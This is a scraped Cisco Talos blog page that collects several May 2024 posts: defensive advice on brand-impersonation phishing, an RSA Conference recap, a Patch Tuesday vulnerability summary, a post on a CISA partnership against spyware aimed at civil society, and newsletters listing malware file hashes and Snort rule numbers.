Other top frequently impersonated brands such as NortonLifeLock, PayPal, Chase, Geek Squad and Walmart were mostly seen in callback phishing messages. In this technique, the attackers include a phone number in the email and try to persuade recipients to call that number, thereby changing the communication channel away from email. From there, they may send another link to their victims to deliver different types of malware. The attackers normally do so by impersonating well-known and familiar brands. Two examples of such emails are provided below.

**Protect against brand impersonation****Strengthening the weakest link**

Humans are still the weakest link in cybersecurity. Therefore, educating users is of paramount importance to reduce the amount and effects of security breaches. Educating people does not only concern employees within a specific organization but in this case, it also involves their customers.

Employees should know an organization’s trusted partners and the way that their organization communicates with them. This way, when an anomaly occurs in that form of communication, they will be able to identify any issues faster. Customers need different communication methods that your organization would use to contact them. Also, they need to be provided with the type of information you will be asking for. When they know these two vital details, they will be less likely to share their sensitive information over abnormal communication platforms (e.g., through emails or text messages).

Brand impersonation techniques are evolving in terms of sophistication, and differentiating fake emails from legitimate ones by a human or even a security researcher demands more time and effort. Therefore, more advanced techniques are required to detect these types of threats.

**Asset protection**

Well-known brands can protect themselves from this type of threat through asset protection as well. Domain names can be registered with various extensions to thwart threat actors attempting to use similar domains for malicious purposes. The other crucial step brands can take is to conceal their information from WHOIS records via privacy protection. Last, but not least, domain names need to be updated regularly since expired domains can be easily abused by threat actors for illicit activities that can harm your business reputation. Brand names should be registered properly so that your organization can take legal action when a brand impersonation occurs.

**Advanced detection methods**

Detection methods can be improved to delay the exposure of users to the received emails. Machine learning has improved significantly over the past few years due to advancements in computing resources, the availability of data, and the introduction of new machine learning architectures. Machine learning-based security solutions can be leveraged to improve detection efficacy.

Cisco Talos relies on a wide range of systems to detect this type of threat and protect our customers, from rule-based engines to advanced ML-based systems. Learn more about Cisco Secure Email Threat Defense's new brand impersonation detection tools here.

From trust to trickery: Brand impersonation over the email attack vector

Here’s a rundown of some things you may have missed if you weren’t able to stay on top of the things coming out of the conference.

Thursday, May 16, 2024 14:00

While I one day wish to make it to the RSA Conference in person, I’ve never had the pleasure of making the trek to San Francisco for one of the largest security conferences in the U.S. 

Instead, I had to watch from afar and catch up on the internet every day like the common folk. This at least gives me the advantage of not having my day totally slip away from me on the conference floor, so at least I felt like I didn’t miss much in the way of talks, announcements and buzz. So, I wanted to use this space to recap what I felt like the top stories and trends were coming out of RSA last week.  

Here’s a rundown of some things you may have missed if you weren’t able to stay on top of the things coming out of the conference. 

**AI is the talk of the town** 

This is unsurprising given how every other tech-focused conference and talk has gone since the start of the year, but everyone had something to say about AI at RSA.  

AI and its associated tools were part of all sorts of product announcements (either to be used as a marketing buzzword or something that is truly adding to the security landscape).  

Cisco’s own Jeetu Patel gave a keynote on how Cisco Secure is using AI in its newly announced Hypershield product. In the talk, he argued that AI needs to be used natively on networking infrastructure and not as a “bolt-on” to compete with attackers.  

U.S. Secretary of State Anthony Blinken was the headliner of the week, delivering a talk outlining the U.S.’ global cybersecurity policies. He spent a decent chunk of his half hour in the spotlight also talking about AI, in which he warned that the U.S. needed to maintain its edge when it comes to AI and quantum computing — and that losing that race to a geopolitical rival (like China) would have devastating consequences to our national security and economy.  

Individual talks ran the gamut from “AI is the best thing ever for security!” to “Oh boy AI is going to ruin everything.” The reality of how this trend shakes out, like most things, is likely going to be somewhere in between those two schools of thought.  

An IBM study released at RSA highlighted how headstrong many executives can be when embracing AI. They found that security is generally an afterthought when creating generative AI models and tools, with only 24 percent of responding C-suite executives saying they have a security component built into their most recent GenAI project.  

**Vendors vow to build security into product designs** 

Sixty-eight new tech companies signed onto a pledge from the U.S. Cybersecurity and Infrastructure Security Agency, vowing to build security into their products from earliest stages of the design process.  

The list of signees now includes Cisco, Microsoft, Google, Amazon Web Services and IBM, among other large tech companies. The pledge states that the signees will work over the next 12 months to build new security safeguards for their products, including increasing the use of multi-factor authentication (MFA) and reducing the presence of default passwords.  

However, there’s looming speculation about how enforceable the Secure By Design pledge is and what the potential downside here is for any company that doesn’t live up to these promises.  

**New technologies countering deepfakes** 

Deepfake images and videos are rapidly spreading online and pose a grave threat to the already fading faith many of us had in the internet. 

It can be difficult to detect when users are looking at a digitally manipulated image or video unless they’re educated on common red flags to look for, or if they’re particularly knowledgeable on the subject in question. They’re getting so good now that even targets’ parents are falling for fake videos of their loved ones.  

Some potential solutions discussed at RSA include digital “watermarks” in things like virtual meetings and video recordings with immutable metadata.  

A deep fake-detecting startup was also named RSA’s “Most Innovative Startup 2024” for its multi-modal software that can detect and alert users of AI-generated and manipulated content. McAfee also has its own Deepfake Detector that it says, “utilizes advanced AI detection models to identify AI-generated audio within videos, helping people understand their digital world and assess the authenticity of content.” 

Whether these technologies can keep up with the pace that attackers are developing this technology and deploying it on such a wide scale, remains to be seen.  

**The one big thing **

Microsoft disclosed a zero-day vulnerability that could lead to an adversary gaining SYSTEM-level privileges as part of its monthly security update. After a hefty Microsoft Patch Tuesday in April, this month’s security update from the company only included one critical vulnerability across its massive suite of products and services. In all, May’s slate of vulnerabilities disclosed by Microsoft included 59 total CVEs, most of which are of “important” severity. There is only one moderate-severity vulnerability. 

**Why do I care? **

The lone critical security issue is CVE-2024-30044, a remote code execution vulnerability in SharePoint Server. An authenticated attacker who obtains Site Owner permissions or higher could exploit this vulnerability by uploading a specially crafted file to the targeted SharePoint Server. Then, they must craft specialized API requests to trigger the deserialization of that file’s parameters, potentially leading to remote code execution in the context of the SharePoint Server. The aforementioned zero-day vulnerability, CVE-2024-30051, could allow an attacker to gain SYSTEM-level privileges, which could have devastating impacts if they were to carry out other attacks or exploit additional vulnerabilities. 

**So now what? **

A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page. In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. The rules included in this release that protect against the exploitation of many of these vulnerabilities are 63419, 63420, 63422 - 63432, 63444 and 63445. There are also Snort 3 rules 300906 - 300912. 

**Top security headlines of the week **

**A massive network intrusion is disrupting dozens of hospitals across the U.S., even forcing some of them to reroute ambulances late last week.** Ascension Healthcare Network said it first detected the activity on May 8 and then had to revert to manual systems. The disruption caused some appointments to have to be canceled or rescheduled and kept patients from visiting MyChart, an online portal for medical records. Doctors also had to start taking pen-and-paper records for patients. Ascension operates more than 140 hospitals in 19 states across the U.S. and works with more than 8,500 medical providers. The company has yet to say if the disruption was the result of a ransomware attack or some sort of other targeted cyber attack, though there was no timeline for restoring services as of earlier this week. Earlier this year, a ransomware attack on Change Healthcare disrupted health care systems nationwide, pausing many payments providers were expected to receive. UnitedHealth Group Inc., the parent company of Change, told a Congressional panel recently that it paid a requested ransom of $22 million in Bitcoin to the attackers. (CPO Magazine, The Associated Press) 

**Google and Apple are rolling out new alerts to their mobile operating systems that warn users of potentially unwanted devices tracking their locations.** The new features specifically target Bluetooth Low Energy (LE)-enabled accessories that are small enough to often be unknowingly tracking their specific location, such as an Apple AirTag. Android and iOS users will now receive the alert when such a device, when it's been separated from the owner’s smartphone, is moving with them still. This alert is meant to prevent adversaries or anyone with malicious intentions from unknowingly tracking targets’ locations. The two companies proposed these new rules for tracking devices a year ago, and other manufacturers of these devices have agreed to add this alert feature to their products going forward. “This cross-platform collaboration — also an industry first, involving community and industry input — offers instructions and best practices for manufacturers, should they choose to build unwanted tracking alert capabilities into their products,” Apple said in its announcement of the rollout. (Security Week, Apple) 

**The popular Christie’s online art marketplace was still down as of Wednesday afternoon after a suspected cyber attack.** The site, known for having many high-profile and wealthy clients, was planning on selling artwork worth at least $578 million this week. Christie’s said it first detected the technology security incident on Thursday but has yet to comment on if it was any sort of targeted cyber attack or data breach. There was also no information on whether client or user data was potentially at risk. Current items for sale included a Vincent van Gogh painting and a collection of rare watches, some owned by Formula 1 star Michael Schumacher. Potential buyers could instead place bids in person or over the phone. (Wall Street Journal, BBC) 

**Can’t get enough Talos? **

*   Talos joins CISA to counter cyber threats against non-profits, activists and other at-risk communities 
*   Click Here Ep. #130: A wrinkle in time: GPS jamming in Ukraine and its ripple effects 
*   Talos Takes Ep. #184: Why CoralRaider is looking to steal your login credentials 
*   Generative AI’s disinformation threat is ‘overblown,’ top cyber expert says 

**Upcoming events where you can find Talos **

**ISC2 SECURE Europe** **(May 29)** 

_Amsterdam, Netherlands_ 

> _Gergana Karadzhova-Dangela from Cisco Talos Incident Response will participate in a panel on “Using ECSF to Reduce the Cybersecurity Workforce and Skills Gap in the EU.” Karadzhova-Dangela participated in the creation of the EU cybersecurity framework, and will discuss how Cisco has used it for several of its internal initiatives as a way to recruit and hire new talent._  

**Cisco Live** **(June 2 - 6)** 

_Las Vegas, Nevada_  

**_AREA41_** **_(June 6 – 7)_** 

_Zurich, Switzerland_ 

> _Gergana Karadzhova-Dangela from Cisco Talos Incident Response will highlight the primordial importance of actionable incident response documentation for the overall response readiness of an organization. During this talk, she will share commonly observed mistakes when writing IR documentation and ways to avoid them. She will draw on her experiences as a responder who works with customers during proactive activities and actual cybersecurity breaches._ 

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** 9be2103d3418d266de57143c2164b31c27dfa73c22e42137f3fe63a21f793202   
**MD5:** e4acf0e303e9f1371f029e013f902262   
**Typical Filename:** FileZilla\_3.67.0\_win64\_sponsored2-setup.exe   
**Claimed Product:** FileZilla   
**Detection Name:** W32.Application.27hg.1201 

**SHA 256:** a024a18e27707738adcd7b5a740c5a93534b4b8c9d3b947f6d85740af19d17d0   
**MD5:** b4440eea7367c3fb04a89225df4022a6   
**Typical Filename:** Pdfixers.exe   
**Claimed Product:** Pdfixers   
**Detection Name:** W32.Superfluss:PUPgenPUP.27gq.1201 

**SHA 256:** 1fa0222e5ae2b891fa9c2dad1f63a9b26901d825dc6d6b9dcc6258a985f4f9ab   
**MD5:** 4c648967aeac81b18b53a3cb357120f4   
**Typical Filename:** yypnexwqivdpvdeakbmmd.exe   
**Claimed Product:** N/A    
**Detection Name:** Win.Dropper.Scar::1201 

**SHA 256:** d529b406724e4db3defbaf15fcd216e66b9c999831e0b1f0c82899f7f8ef6ee1   
**MD5:** fb9e0617489f517dc47452e204572b4e   
**Typical Filename:** KMSAuto++.exe   
**Claimed Product:** KMSAuto++   
**Detection Name:** W32.File.MalParent 

**SHA 256:** abaa1b89dca9655410f61d64de25990972db95d28738fc93bb7a8a69b347a6a6   
**MD5:** 22ae85259273bc4ea419584293eda886   
**Typical Filename:** KMSAuto++ x64.exe   
**Claimed Product:** KMSAuto++   
**Detection Name:** W32.File.MalParent

Rounding up some of the major headlines from RSA

Compared to fuzzing for software vulnerabilities on Linux, where most of the code is open-source, targeting anything on macOS presents a few difficulties.

Talos releases new macOS open-source fuzzer

The lone critical security issue is CVE-2024-30044, a remote code execution vulnerability in SharePoint Server.

Tuesday, May 14, 2024 13:57

After a relatively hefty Microsoft Patch Tuesday in April, this month’s security update from the company only included one critical vulnerability across its massive suite of products and services.  

In all, May’s slate of vulnerabilities disclosed by Microsoft included 59 total CVEs, most of which are considered to be of “important” severity. There is only one moderate-severity vulnerability. 

The lone critical security issue is CVE-2024-30044, a remote code execution vulnerability in SharePoint Server. An authenticated attacker who obtains Site Owner permissions or higher could exploit this vulnerability by uploading a specially crafted file to the targeted SharePoint Server. Then, they must craft specialized API requests to trigger the deserialization of that file’s parameters, potentially leading to remote code execution in the context of the SharePoint Server. 

The Windows Mobile Broadband Driver also contains multiple remote code execution vulnerabilities: 

*   CVE-2024-29997 
*   CVE-2024-29998 
*   CVE-2024-29999 
*   CVE-2024-30000 
*   CVE-2024-30001 
*   CVE-2024-30002 
*   CVE-2024-30003 
*   CVE-2024-30004 
*   CVE-2024-30005 

However, to successfully exploit this issue, an adversary would need to physically connect a compromised USB device to the victim's machine. 

Microsoft also disclosed a zero-day vulnerability in the Windows DWM Core Library, CVE-2024-30051. Desktop Window Manager (DWM) is a Windows operating system service that enables visual effects on the desktop and manages things like transitions between windows.   

An adversary could exploit CVE-2024-30051 to gain SYSTEM-level privileges.  

This vulnerability is classified as having a “low” level of attack complexity, and exploitation of this vulnerability has already been detected in the wild.  

One other issue, CVE-2024-30046, has already been disclosed prior to Patch Tuesday, but has not yet been exploited in the wild. This is a denial-of-service vulnerability in ASP.NET, a web application framework commonly used in Windows.  

Microsoft considers this vulnerability “less likely” to be exploited, as successful exploitation would require an adversary to spend a significant amount of time repeating exploitation attempts by sending constant or intermittent data to the targeted machine.   

A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page. 

In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

The rules included in this release that protect against the exploitation of many of these vulnerabilities are 63419, 63420, 63422 - 63432, 63444 and 63445. There are also Snort 3 rules 300906 - 300912.

Only one critical vulnerability included in May’s Microsoft Patch Tuesday; One other zero-day in DWN Core

Commercial spyware tools can threaten democratic values by enabling governments to conduct covert surveillance on citizens, undermining privacy rights and freedom of expression.

Tuesday, May 14, 2024 08:42

Cisco Talos is delighted to share updates about our ongoing partnership with the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to combat cybersecurity threats facing civil society organizations.

Talos has partnered with CISA on several initiatives through the Joint Cyber Defense Collaborative (JCDC), including sharing intelligence on strategic threats of interest.

Adversaries are leveraging advancements in technology and the interconnectedness of the world’s networks to undermine democratic values and interests by targeting high-risk communities within civil society. According to CISA, these communities include activists, journalists, academics and organizations engaged in advocacy and humanitarian causes. Consequently, the U.S. government has elevated efforts in recent years to counter cyber threats that have placed the democratic freedoms of organizations and individuals at heightened risk.

The JCDC’s High-Risk Community Protection (HRCP) initiative is one such measure that brings together government, technology companies, and civil society organizations to strengthen the security of entities at heightened risk of cyber threat targeting and transnational repression.

The HRCP initiative’s outputs — including a threat mitigation guide for civil society, operational best practices, and online resources for communities at risk — aim to counter the threats posed by state-sponsored advanced persistent threats (APTs) and, increasingly, private-sector offensive actors (PSOA).

Our ongoing partnership with CISA and contributions to the JCDC’s HRCP initiative are consistent with Cisco’s security mission to protect data, systems, and networks, and uphold and respect the human rights of all.

**Spyware threats persist despite government and private sector measures**

As we’ve written about, the use of commercially available spyware to target high-profile or at-risk individuals and organizations is a global problem. This software can often track targets’ exact location, steal their messages and personal information, or even listen in on phone calls. Private companies, commonly referred to as “PSOAs” or “cyber mercenaries,” have monetized the development of these offensive tools, selling their spyware to any government willing to pay regardless of the buyer's intended use.

Commercial spyware tools can threaten democratic values by enabling governments to conduct covert surveillance on citizens, undermining privacy rights and freedom of expression. Lacking any international laws or norms around the use of commercial spyware, this surveillance can lead to the suppression of dissent, erosion of trust in democratic institutions, and consolidation of power in the hands of authoritarian governments.

The U.S. and its partners have taken steps to curb the proliferation of these dangerous tools. These include executive orders banning the use of certain spyware by U.S. government agencies, export restrictions and sanctions on companies or individuals involved in the development and sale of spyware (such as the recent sanctioning of members of the Intellexa Commercial Spyware Consortium), and diplomatic efforts with international partners and allies to pressure countries that harbor or support such firms.

Private industry has also played a substantial role in countering this threat, including by publishing research and publicly attributing PSOAs and countries involved in digital repression. Some companies have also developed countersurveillance technologies (such as Apple’s Lockdown Mode) to protect high-risk users and have initiated legal challenges through lawsuits against PSOAs alleging privacy violations. In March 2023, Cisco proudly became principal co-author of the Cybersecurity Tech Accord principles limiting offensive operations in cyberspace, joining several technology partners in calling for industry-wide principles to counter PSOAs.

**Talos intelligence fuels HRCP threat mitigation guide for civil society**

Talos has tracked the evolution of the commercial spyware industry and APT targeting of high-risk industries, placing us in a strong position to contribute our knowledge to the HRCP effort. Our research on two key threat actors — the Intellexa Commercial Spyware Consortium and the China state-sponsored Mustang Panda group — informed the HRCP guide’s overview of tactics commonly used against high-risk communities.

Talos has closely monitored threats stemming from the Intellexa Consortium, an umbrella group of organizations and individuals that offer commercial spyware tools to global customers, including authoritarian governments. In May 2023, we conducted a technical analysis of Intellaxa’s flagship PREDATOR spyware which was initially developed by a PSOA known as Cytrox. Our research specifically looked at two components of Intellexa's mobile spyware suite known as “ALIEN” and “PREDATOR,” which compose the backbone of the organization’s implant.

Our findings included an in-depth walkthrough of the infection chain, including the implant’s various information-stealing capabilities and evasion techniques. Over time, we learned more about Intellexa’s inner workings, including their spyware development timelines, product offerings, operating paradigms and procedures.

Our research on Mustang Panda also contributed to the mitigation guide by illustrating how government-sponsored threat actors have targeted civil society organizations with their own signature tools and techniques. This APT is heavily focused on political espionage and has targeted non-governmental organizations (NGOs), religious institutions, think tanks, and activist groups worldwide. Mustang Panda commonly sends spear phishing emails using enticing lures to gain access to victim networks and install custom implants, such as PlugX, that enable device control and user monitoring. The group has continuously evolved its delivery mechanisms and payloads to ensure long-term uninterrupted access, underscoring the threat posed to civil society and others.

**What is next for this growing threat?**

Threat actors with ties to Russia, China, and Iran have primarily been responsible for this heightened threat activity, according to industry reporting. But the threat is not limited to them. Last year, a U.K. National Cyber Security Centre (NCSC) estimate found that at least 80 countries have purchased commercial spyware, highlighting how the proliferation of these tools enables even more actors to join the playing field.

Yet we are staying ahead of the game. Talos researchers are continuously identifying the latest trends in threat actor targeting which include not only the use of commercial spyware but other tools and techniques identified in the HRCP guide, such as spear phishing and trojanized applications. Our intelligence powers Cisco’s security portfolio, ensuring customer safety.

Talos created a reporting resource where individuals or organizations suspected of being infected with commercial spyware can contact Talos’ research team (no-spyware@external.cisco.com) to assist in furthering the community’s knowledge of these threats.

We are determined to continue our work with CISA, other agencies, and industry leaders, leveraging the power of partnerships to protect Cisco customers and strengthen community resilience against common adversaries.

Talos joins CISA to counter cyber threats against non-profits, activists and other at-risk communities

Under a pilot program, CISA has sent out more than 2,000 alerts to registered organizations regarding the existence of any unpatched vulnerabilities in CISA’s KEV catalog.

Thursday, May 9, 2024 14:00

One of the great cybersecurity challenges organizations currently face, especially smaller ones, is that they don’t know what they don’t know. 

It’s tough to have your eyes on everything all the time, especially with so many pieces of software running and IoT devices extending the reach of networks broader than ever.  

One potential (and free!) solution seems to be a new program from the U.S. Cybersecurity and Infrastructure Security Agency (CISA) that alerts companies and organizations of unpatched vulnerabilities that attackers could exploit.  

Under a pilot program that’s been running since January 2023, CISA has sent out more than 2,000 alerts to registered organizations regarding the existence of any unpatched vulnerabilities in CISA’s Known Exploited Vulnerabilities (KEV) catalog. For those that don’t know, the KEV catalog consists of any security issues that threat actors are known to actively exploit in the wild, and often include some of the most serious vulnerabilities disclosed on a regular basis, some of which have been around for years. 

Jen Easterly, CISA’s director, said last month that 49 percent of those vulnerabilities that CISA sent alerts about were mitigated — either through patching or other means. The program will launch in earnest later this year, but more than 7,000 organizations have already registered for the pilot program. 

Everything about this makes sense to me — it comes at no cost to the consumer or business, it allows the government to inform organizations of something they very likely aren’t aware of, and these issues are easy enough to fix with software or hardware patches.  

I’m mainly wondering how we’ll get more potential targets to sign up for this program and receive these alerts. 

According to CISA’s web page on the program, the alerts are only currently available to “Federal, state, local, tribal and territorial governments, as well as public and private sector critical infrastructure organizations.” 

I would imagine that, at some point, the scope of this will be expanded if it continues to be successful, and there are no clear guidelines for what “critical infrastructure” means in this context, exactly. (For example, would something like a regional ISP would be eligible for this program? I’d consider this CI, but I’m not sure the federal government would.) 

Currently, signing up for the alerts seems to be as simple as sending an email. CISA’s also been sending alerts to any vulnerable systems that appear on Shodan scans. I don’t think there’s a way to make something like this compulsory unless it’s codified into law somewhere, but it almost seems like it should be. 

Who wouldn’t want to just get free alerts from the federal government telling you when your network has a vulnerability that’s being exploited in the wild? For many of the local and state government teams, the pilot program targets are understaffed and underfunded, and sometimes the act of patching can get so overwhelming that it can take months to keep current. But this type of organization may also be stretched thin to the point they haven’t even heard of this program from CISA. So if the most I can do is shout out this government program in this newsletter and one extra company signs up, I’ll feel good about that.  

**The one big thing **

Cisco Talos’ Vulnerability Research team recently disclosed three zero-day vulnerabilities two of which are still unpatched as of Wednesday, May 8. Two vulnerabilities in this group — one in the Tinyroxy HTTP proxy daemon and another in the stb\_vorbis.c file library — could lead to arbitrary code execution, earning both issues a CVSS score of 9.8 out of 10. While we were unable to reach the maintainers, the Tinyproxy maintainers have since patched the issue. Another zero-day exists in the Milesight UR32L wireless router. These vulnerabilities have all been disclosed in adherence to Cisco’s third-party vulnerability disclosure timeline after the associated vendors did not meet the 90-day deadline for a patch or communication.   

**Why do I care? **

Tinyproxy is meant to be used in smaller networking environments. It was originally released more than a dozen years ago. A use-after-free vulnerability, TALOS-2023-1889 (CVE-2023-49606), exists in the \`Connection\` header provided by the client. An adversary could make an unauthenticated HTTP request to trigger this vulnerability, setting off the reuse of previously freed memory, which leads to memory corruption and could lead to remote code execution. Four of these issues that Talos disclosed this week still do not have patches available, so anyone using affected software should find other potential mitigations. 

**So now what? **

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.  

**Top security headlines of the week **

**Several international law enforcement agencies have identified, sanctioned and indicted the alleged leader of the LockBit ransomware group.** Russian national Dmitry Yuryevich Khoroshev has been unmasked as the person behind the operator of the username “LockBitSupp,” LockBit’s creator and mastermind. The ransomware group has extorted an estimated $500 million from its victims over its several years of activity. Khoroshev allegedly took 20 percent of each ransom payment and operated the group’s data leak site. The U.S. federal government is offering up to a $10 million reward for anyone who can provide information leading to Khoroshev’s arrest. In all, he is charged with 26 crimes in the U.S. that carry a maximum punishment of 185 years in prison. LockBit, founded around 2018, operates under the ransomware-as-service model in which other actors can pay to access LockBit’s malware and infection tools. The group has been linked to several major ransomware attacks over the years, including against the U.K.’s Royal Mail service, a small Canadian town in Ontario and a children’s hospital in Chicago. (Wired, The Verge) 

**The U.K. blamed Chinese state-sponsored actors for a recent data breach at a military contractor that led to the theft of personal information belonging to around 270,000 members of the British armed forces.** Potentially affected information includes names and banking information for full-time military personnel and part-time reservists, as well as veterans who left the military after January 2018. Some of those affected are also current members of parliament. A top official at the U.K.’s Ministry of Defense called the breach a “very significant matter” and that the contractor immediately took the affected systems offline. While the British government has yet to formally attribute the attack to a specific threat actor, several reports indicate they believe an actor emanating from China was responsible. While the actors may have been present on the network for up to weeks, there is currently no evidence that the information was copied or removed. (The Guardian, Financial Times) 

**Security researchers found a new attack vector that could allow bad actors to completely negate the effect of VPNs.** The method, called “TunnelVision,” can force VPN services to send or receive some or all traffic outside of the encrypted tunnel they create. Traditionally users will rely on VPNs to protect their traffic from snooping or tampering, or to hide their physical locations. The researchers believe TunnelVision affects every VPN application available if it connects to an attacker-controlled network. There is currently no way to avoid or bypass these attacks unless the VPN runs on Linux or Android. TunnelVision has been possible since at least 2002, though it's unclear how often it's been used in the wild. VPN users who are concerned about this attack can run their VPN inside a virtual machine whose network adapter isn’t in bridged mode or connect via the Wi-Fi network of a cellular device. However, for the attack to be effective, the attacker would need complete control over a network. If a connection is affected, though, the user would be completely unaware, and the VPN would not alert them to a change. (Ars Technica, ZDNet) 

**Can’t get enough Talos? **

*   Talos Takes Ep. #182: 4 takeaways from what Talos IR is seeing in the field 
*   ClamAV 1.4.0 release candidate now available! 
*   Critical Tinyproxy Flaw Opens Over 50,000 Hosts to Remote Code Execution 
*   Vulnerabilities in employee management system could lead to remote code execution, login credential theft 

**Upcoming events where you can find Talos **

**ISC2 SECURE Europe** **(May 29)** 

_Amsterdam, Netherlands_ 

> _Gergana Karadzhova-Dangela from Cisco Talos Incident Response will participate in a panel on “Using ECSF to Reduce the Cybersecurity Workforce and Skills Gap in the EU.” Karadzhova-Dangela participated in the creation of the EU cybersecurity framework, and will discuss how Cisco has used it for several of its internal initiatives as a way to recruit and hire new talent._  

**Cisco Live** **(June 2 - 6)** 

_Las Vegas, Nevada_  

**Most prevalent malware files from Talos telemetry over the past week  **

**SHA 256:** c67b03c0a91eaefffd2f2c79b5c26a2648b8d3c19a22cadf35453455ff08ead0    
**MD5:** 8c69830a50fb85d8a794fa46643493b2    
**Typical Filename:** AAct.exe    
**Claimed Product:** N/A     
**Detection Name:** W32.File.MalParent 

**SHA 256:** d529b406724e4db3defbaf15fcd216e66b9c999831e0b1f0c82899f7f8ef6ee1   
**MD5:** fb9e0617489f517dc47452e204572b4e   
**Typical Filename:** KMSAuto++.exe   
**Claimed Product:** KMSAuto++   
**Detection Name:** W32.File.MalParent 

**SHA 256:** abaa1b89dca9655410f61d64de25990972db95d28738fc93bb7a8a69b347a6a6   
**MD5:** 22ae85259273bc4ea419584293eda886   
**Typical Filename:** KMSAuto++ x64.exe   
**Claimed Product:** KMSAuto++   
**Detection Name:** W32.File.MalParent 

**SHA 256:** 8664e2f59077c58ac12e747da09d2810fd5ca611f56c0c900578bf750cab56b7    
**MD5:** 0e4c49327e3be816022a233f844a5731    
**Typical Filename:** aact.exe    
**Claimed Product:** AAct x86    
**Detection Name:** PUA.Win.Tool.Kmsauto::in03.talos 

**SHA 256:** 59f1e69b68de4839c65b6e6d39ac7a272e2611ec1ed1bf73a4f455e2ca20eeaa     
**MD5:** df11b3105df8d7c70e7b501e210e3cc3     
**Typical Filename:** DOC001.exe     
**Claimed Product:** N/A     
**Detection Name:** Win.Worm.Coinminer::1201

Source

TALOS